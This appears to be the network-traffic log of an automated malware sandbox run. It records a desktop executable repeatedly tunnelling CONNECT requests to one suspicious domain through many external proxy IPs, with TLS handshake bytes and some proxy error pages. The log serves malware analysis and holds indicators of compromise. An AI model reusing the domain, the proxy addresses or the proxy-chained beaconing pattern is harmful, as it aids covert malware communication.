Mar 11, 2024 15:21:05.917243004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.240849972 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:06 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:06.241523981 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 13 51 42 a4 34 63 6e 76 47 8f 12 7a 98 4e c4 5d b1 b5 bd db 44 16 fa 40 5c 0a 0a bf 10 6f 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: eQB4cnvGzN]D@\o,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#}C?J-0w$s=nENfc_e
Mar 11, 2024 15:21:06.564033985 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 57 f4 6e 37 0f 8f 8d ef e6 88 30 4d 4f 9d 25 bd 08 8d c5 7d 2e f4 7a e0 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9Wn70MO%}.zDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311135315Z260311135315Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:06.580790997 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 ae 8f 6a 6a 0d 2e 63 6c 76 57 65 7a f1 9a a6 c2 43 3f 7d 14 6e 61 09 fb 30 80 bb 63 36 92 fa 54 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 fb 49 f8 05 be 03 78 37 ae c2 c1 63 84 e7 2f e1 2d e5 f1 7d 77 Data Ascii: %! jj.clvWezC?}na0c6T(Ix7c/-}w[I
Mar 11, 2024 15:21:06.901088953 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 c5 cb 67 77 c9 a2 fe 2d 44 5d 45 d8 ae fe 79 76 9c 1f fb 78 4f 24 35 c0 b8 52 3f 3d dd 27 1d 3f 5c da 42 27 02 e6 83 fd Data Ascii: (gw-D]EyvxO$5R?='?\B'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.9	50997	222.179.155.90	9091	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.918102980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.369935036 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.9	51170	91.134.140.160	20896	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.918414116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.458697081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.091048956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.9	52946	163.172.132.238	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.919100046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.9	52915	203.74.125.18	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.920964956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.9	52943	94.131.107.45	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.928877115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.700103045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.700515985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.591434002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.388008118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.9	52832	39.108.227.108	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.930057049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.285749912 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 37 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313874"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.9	51195	51.222.241.8	62916	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.932010889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.996916056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.9	53043	3.212.148.199	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.963788033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.180816889 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:06 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.9	52492	177.38.5.16	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.970566988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.9	52898	45.11.95.165	5036	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.982779980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.825316906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.934811115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.029078960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.9	52834	103.86.109.38	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.025391102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.409662008 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.9	52463	124.160.118.183	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.037344933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.442029953 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx/1.8.1 Date: Tue, 12 Mar 2024 02:42:12 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.8.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.9	51096	139.135.139.246	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.037836075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.140404940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.200522900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:18.200354099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:30.200172901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:42.200037003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:54.215648890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:18.231259108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:06.231117010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.9	52536	91.134.140.160	32896	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.038525105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.637778997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.138283014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.9	52570	98.162.25.7	31653	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.044011116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.9	52838	103.127.1.130	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.044598103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.9	53105	159.65.77.168	8585	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.044600964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.9	52983	5.252.23.220	1081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.045728922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.9	52867	41.77.188.131	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:06.046730042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.834209919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.183533907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
